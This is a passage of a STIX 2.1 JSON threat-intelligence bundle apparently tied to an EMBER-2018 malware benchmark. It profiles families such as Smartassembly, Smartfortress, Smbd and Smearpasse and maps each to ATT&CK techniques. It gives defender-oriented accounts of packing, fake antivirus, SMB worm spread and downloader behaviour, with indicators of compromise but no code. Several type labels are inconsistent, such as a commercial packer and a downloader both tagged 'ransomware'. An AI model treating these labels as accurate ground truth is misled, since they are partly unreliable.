      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smartapps",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smartapps"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbfebb2f-85d7-557e-81a1-4ce7235de64e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70b5617f-395d-557f-92e4-cce748367bf9",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartapps exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c05b90f8-ddfe-5867-84e9-0620c83745d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70b5617f-395d-557f-92e4-cce748367bf9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartapps exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--acf2ab77-a808-568d-8443-193059ddd5c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70b5617f-395d-557f-92e4-cce748367bf9",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartapps exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ea90bee-61df-5ecf-b8d9-3b1b71360de2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70b5617f-395d-557f-92e4-cce748367bf9",
      "target_ref": "attack-pattern--984646e0-34fe-5848-ad02-8ae1f047b736",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartapps exhibits technique T1059.004 (Command and Scripting Interpreter: Unix Shell (or Windows CMD/Batch))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--249b485d-93ab-51ce-9948-f1917f827a37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70b5617f-395d-557f-92e4-cce748367bf9",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartapps exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba541e17-1a2b-507a-9255-a9f22d26a9d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smartassembly",
      "description": "HackTool:Win32/Smartassembly is a highly nuanced detection. SmartAssembly itself is a **legitimate commercial software obfuscator and protector** created by Red Gate Software, designed to protect .NET applications from reverse engineering and intellectual property theft. However, because it is extremely effective at hiding code, it is heavily abused by malware authors to pack their trojans, stealers, and ransomware, leading antivirus engines to flag heavily obfuscated .NET binaries heuristically.<br><br><b>Understanding SmartAssembly in Malware</b><br>To an end-user, a file packed with SmartAssembly looks like a normal application. For a malware analyst, encountering a SmartAssembly-packed binary is a frustrating hurdle. The packer encrypts strings, scrambles control flow, renames classes and methods to unreadable characters, and implements anti-debugging and anti-dumping techniques to prevent analysts from understanding the underlying malicious payload.<br><br><b>Execution and Obfuscation Mechanics</b><br>The threat actor writes their malware (e.g., an AsyncRAT or AgentTesla variant) in C# or VB.NET. Before distributing it, they run the compiled executable through the SmartAssembly tool (`T1027.002`). When the victim executes the packed file (`T1204.002`), the SmartAssembly 'stub' runs first. This stub allocates memory, decrypts the original malicious .NET assembly into that memory space, and then executes it directly from RAM, often bypassing static disk-based AV scans. Advanced configurations of SmartAssembly can detect if the process is being debugged or run in a sandbox, intentionally crashing the program to thwart analysis (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload (e.g., credential theft, ransomware). Host-based IoCs include EDR alerts for heavily obfuscated .NET processes, high CPU usage during the initial unpacking phase, and the detection of known SmartAssembly artifact strings within the binary (e.g., references to `SmartAssembly.Attributes`). To understand the true threat, the analyst must use specialized .NET deobfuscators (like de4dot) or memory dumping tools to extract the unpacked payload. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smartassembly",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smartassembly"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6721e75-604b-5373-b62e-d73bd64cc4c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba541e17-1a2b-507a-9255-a9f22d26a9d7",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartassembly exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (.NET Obfuscation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf9c87cb-ec1f-50f6-b284-7c02cdd8e4a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba541e17-1a2b-507a-9255-a9f22d26a9d7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartassembly exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Anti-debugging/Anti-dumping))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cf513c6-d28e-53f6-92ca-2ecf0725cfdc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba541e17-1a2b-507a-9255-a9f22d26a9d7",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartassembly exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3a530e05-4dcb-5fab-9e83-9066e6a788c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smartfortress",
      "description": "Rogue:Win32/Smartfortress is a classic and highly visible example of 'Rogueware' or a Fake Antivirus. It operates purely on deception, masquerading as a legitimate, high-end security suite. Its sole purpose is to generate fabricated, alarming virus alerts to scare the user into purchasing a 'premium' license to clean the non-existent infections (`T1189`).<br><br><b>Understanding Smartfortress (Fake AV)</b><br>To an end-user, the software creates immense panic. It mimics the UI of real antivirus programs, displaying rapid 'scans' that invariably find dozens of severe trojans and rootkits. For an IT department, Smartfortress is a severe nuisance that generates false helpdesk tickets and often prevents the user from accessing legitimate security tools or the internet until the 'fee' is paid.<br><br><b>Execution and Deception Mechanics</b><br>Smartfortress is typically distributed via Drive-by Compromise (`T1189`), where a user visits a compromised website and is redirected to a page displaying a fake 'System Scan' in the browser, which then prompts the download of the executable. Upon execution, it establishes persistence via the Registry Run keys. It actively impairs defenses by terminating processes associated with real antivirus software, Task Manager (`taskmgr.exe`), and Registry Editor (`regedit.exe`) (`T1562.001`). It may also modify the system's HOSTS file to block access to legitimate security vendor websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial fraud and operational disruption (trapping the user on the fake AV screen). Host-based IoCs include the presence of the highly visible Smartfortress application (often branded as 'Smart Fortress 2012' or similar), a modified HOSTS file, and the inability to launch legitimate administrative tools. Network IoCs include connections to the software vendor's payment gateways (often hosted in non-extradition countries). (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smartfortress",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smartfortress"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ae8b16d-f6df-5c6c-a97b-da826ec5a666",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a530e05-4dcb-5fab-9e83-9066e6a788c8",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartfortress exhibits technique T1189 (Drive-by Compromise (Distribution via fake browser scans and deceptive ads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--171409b2-bd65-5223-aaf5-0fc81a8912d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a530e05-4dcb-5fab-9e83-9066e6a788c8",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartfortress exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Terminating real AV and disabling Task Manager))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9c8bb26-9d94-500b-b31e-e34097a7f5a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a530e05-4dcb-5fab-9e83-9066e6a788c8",
      "target_ref": "attack-pattern--1903672b-fa6b-505d-bd64-28a101537fec",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartfortress exhibits technique T1491.002 (Defacement: Internal Defacement (Creating fake alert pop-ups and full-screen warnings))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4b6d29c4-bafc-5582-94d6-7e8a75b86c05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smartinstaller",
      "description": "Adware:Win32/Smartinstaller (often detected as PUA:Win32/Smartinstaller) is a generic classification for a commercial **Pay-Per-Install (PPI) bundling framework**. It is designed to take a legitimate, often open-source freeware application (like a media player or PDF reader) and 'wrap' it in a custom installation wizard. The sole purpose of this wrapper is to use deceptive 'Dark Patterns' to trick the user into 'consenting' to the installation of multiple secondary payloads\u2014typically aggressive adware, browser hijackers, and rogue system optimizers\u2014alongside the desired software.<br><br><b>Understanding Smartinstaller and PPI Networks</b><br>To an end-user, Smartinstaller looks like a standard, slightly cluttered setup wizard. For an enterprise, it represents a significant risk of 'alert fatigue' for the SOC and a major source of Help Desk tickets due to degraded system performance. The developers of the wrapper are paid by adware vendors for every successful installation (Pay-Per-Install).<br><br><b>Execution and Deceptive Installation Mechanics</b><br>Smartinstaller is usually encountered when users download software from untrustworthy, third-party download portals (like CNET or Softonic alternatives) rather than the official vendor site (`T1204.002`). Upon execution, the wrapper initiates. It employs Dark Patterns (`T1189`), such as pre-checked 'Accept' boxes hidden in the EULA, confusingly worded 'Decline' buttons that actually accept the offer, or 'Express Install' modes that silently drop all bundled software (`T1036`). The secondary payloads then establish persistence (often via Scheduled Tasks or Registry Run keys) (`T1547.001`) and begin injecting ads into web browsers or hijacking the default search engine (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, unauthorized tracking of browsing habits, and potential exposure to more severe malware via injected malicious ads. IoCs include EDR alerts for a single downloaded executable (e.g., `setup.exe`) spawning multiple child installers (e.g., `msiexec.exe`) for unrelated software. The user will often report a suddenly changed browser homepage, new toolbars, or excessive pop-up advertisements. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smartinstaller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smartinstaller"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c05d7a5d-b2e1-51ea-b02e-53475fb37061",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b6d29c4-bafc-5582-94d6-7e8a75b86c05",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartinstaller exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37154b6a-aa32-5fdd-b720-bc06642bdcb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b6d29c4-bafc-5582-94d6-7e8a75b86c05",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartinstaller exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efc938f9-de2f-5931-95a6-8be6d9778a9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b6d29c4-bafc-5582-94d6-7e8a75b86c05",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartinstaller exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b38bb52-6a94-5f37-b044-a209a3f4313f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b6d29c4-bafc-5582-94d6-7e8a75b86c05",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartinstaller exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7e780c47-a388-5a70-a39e-40abc534a773",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smartpctweaker",
      "description": "Rogueware:Win32/Smartpctweaker is a classic example of a 'Fake Optimizer'. It operates entirely on a model of deception and extortion. Masquerading as a legitimate, high-end utility designed to clean the Windows Registry, clear junk files, and drastically speed up the computer, its actual function is to generate fabricated, alarming error reports to scare the user into purchasing a 'premium' license (`T1189`).<br><br><b>Understanding Smartpctweaker (Fake Optimizers)</b><br>To an end-user, the software creates immense anxiety, constantly displaying pop-ups warning that the computer's health is 'Critical' and that a system crash is imminent. For an IT department, Smartpctweaker is a nuisance that generates false helpdesk tickets. The software itself is useless, and its aggressive 'cleaning' routines can sometimes delete vital system files, causing actual instability.<br><br><b>Execution and Deception Mechanics</b><br>Smartpctweaker is heavily distributed via aggressive affiliate marketing, pop-up ads claiming the user's PC is slow, or bundled with freeware. Upon execution, it performs a rapid, animated 'scan' that is guaranteed to find thousands of 'critical errors' (which are usually just temporary internet files or completely benign registry keys). It establishes persistence via Scheduled Tasks (`T1053.005`) to ensure its scary warnings appear every time the computer boots. It often disables the Windows Task Manager to prevent the user from easily terminating its process (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial fraud (tricking the user into paying) and psychological manipulation. Host-based IoCs include the highly visible Smartpctweaker GUI (often branded with generic shields and progress bars), unexpected Scheduled Tasks, and unauthorized modifications to system policies restricting access to administrative tools. Network IoCs include constant connections to the software vendor's payment gateways. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smartpctweaker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smartpctweaker"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f735840a-9029-595e-b634-d87d1ca38c42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e780c47-a388-5a70-a39e-40abc534a773",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartpctweaker exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79d2d58d-322d-53f3-b117-63a029d94c7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e780c47-a388-5a70-a39e-40abc534a773",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartpctweaker exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bcce2a71-3fb4-57b4-8437-754bbacfcfeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e780c47-a388-5a70-a39e-40abc534a773",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartpctweaker exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling taskmgr to prevent termination))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a9ffea0d-dfe1-5990-b22c-ab7a934fc5cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smbd",
      "description": "Worm:Win32/Smbd (or similar heuristic detections for SMB-exploiting worms) refers to a class of self-propagating malware that heavily relies on the Server Message Block (SMB) protocol for lateral movement across local area networks (LANs). These worms exploit vulnerabilities in Windows SMB implementations (historically MS08-067 or MS17-010/EternalBlue) or utilize brute-force credential stuffing against administrative shares to spread rapidly without user interaction.<br><br><b>Understanding SMB Network Worms</b><br>To an end-user, an infection might cause severe network slowdowns or sudden system reboots (often associated with successful SMB exploits). For a network administrator, an SMB worm represents a catastrophic outbreak scenario. A single infected laptop brought into the office can compromise the entire corporate network within minutes by scanning and exploiting vulnerable servers and workstations on the same subnet.<br><br><b>Execution and Lateral Movement Mechanics</b><br>Once an initial host is compromised (often via phishing or an external exploit), the Smbd worm begins its propagation phase. It actively scans the local subnet (`T1046`) on ports 139 and 445 (SMB) for other Windows machines. When it finds a target, it attempts to gain access. It may use hardcoded, highly privileged exploits (like EternalBlue) (`T1210`) to execute arbitrary code directly in the kernel of the remote machine. Alternatively, it may use stolen credentials or brute-force dictionaries to authenticate to the `ADMIN$` or `C$` hidden network shares (`T1021.002`). Upon successful connection, it copies its own executable to the remote machine (`T1570`) and uses tools like PsExec or WMI (`T1047`) to execute the copied payload, perpetuating the cycle.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total network compromise and massive internal bandwidth consumption. Host-based IoCs include EDR alerts for unexpected inbound connections on port 445 resulting in the creation of `.exe` files in `C:\\Windows\\` or `C:\\Windows\\System32\\`, followed by immediate execution. Network IoCs include massive spikes in horizontal (east-west) SMB traffic on ports 139/445, as infected machines aggressively scan their neighbors. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smbd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smbd"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d0ac2e5-cf07-507c-8024-88a7eae4002c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9ffea0d-dfe1-5990-b22c-ab7a934fc5cf",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smbd exhibits technique T1210 (Exploitation of Remote Services (e.g., EternalBlue on SMB))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41304189-5a72-518d-943a-300017433b90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9ffea0d-dfe1-5990-b22c-ab7a934fc5cf",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smbd exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e61efb9b-ad04-515c-b41c-b17a88f19018",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9ffea0d-dfe1-5990-b22c-ab7a934fc5cf",
      "target_ref": "attack-pattern--913fd8f3-ac3d-5481-9dac-4c8ba68e34e9",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smbd exhibits technique T1570 (Lateral Tool Transfer (Copying the worm to the remote host))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d96d94f2-4fa2-5836-95ef-d61b174b90eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9ffea0d-dfe1-5990-b22c-ab7a934fc5cf",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smbd exhibits technique T1046 (Network Service Discovery (Scanning for port 445))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cae5ee80-d3ec-558b-9f24-bfeae9635628",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smearpasse",
      "description": "Trojan:Win32/Smearpasse is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Smearpasse</b><br>To an end-user, a Smearpasse infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Smearpasse is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Smearpasse is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Smearpasse frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Smearpasse reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smearpasse",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smearpasse"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b87876db-e344-548a-82ba-e18bfe188d21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cae5ee80-d3ec-558b-9f24-bfeae9635628",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smearpasse exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d7f9a01-8255-580d-83f8-5b53b6e8398f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cae5ee80-d3ec-558b-9f24-bfeae9635628",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smearpasse exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a8c271a-6f3d-57fa-99b9-ad78fa7fb9bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cae5ee80-d3ec-558b-9f24-bfeae9635628",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smearpasse exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a245eb40-d3af-55d9-902b-bbf173807015",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cae5ee80-d3ec-558b-9f24-bfeae9635628",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smearpasse exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c15689f4-ea18-50cb-a78c-ba1435585a40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cae5ee80-d3ec-558b-9f24-bfeae9635628",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smearpasse exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dce08953-e062-5de1-83b6-5e87ee6a369f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smee",
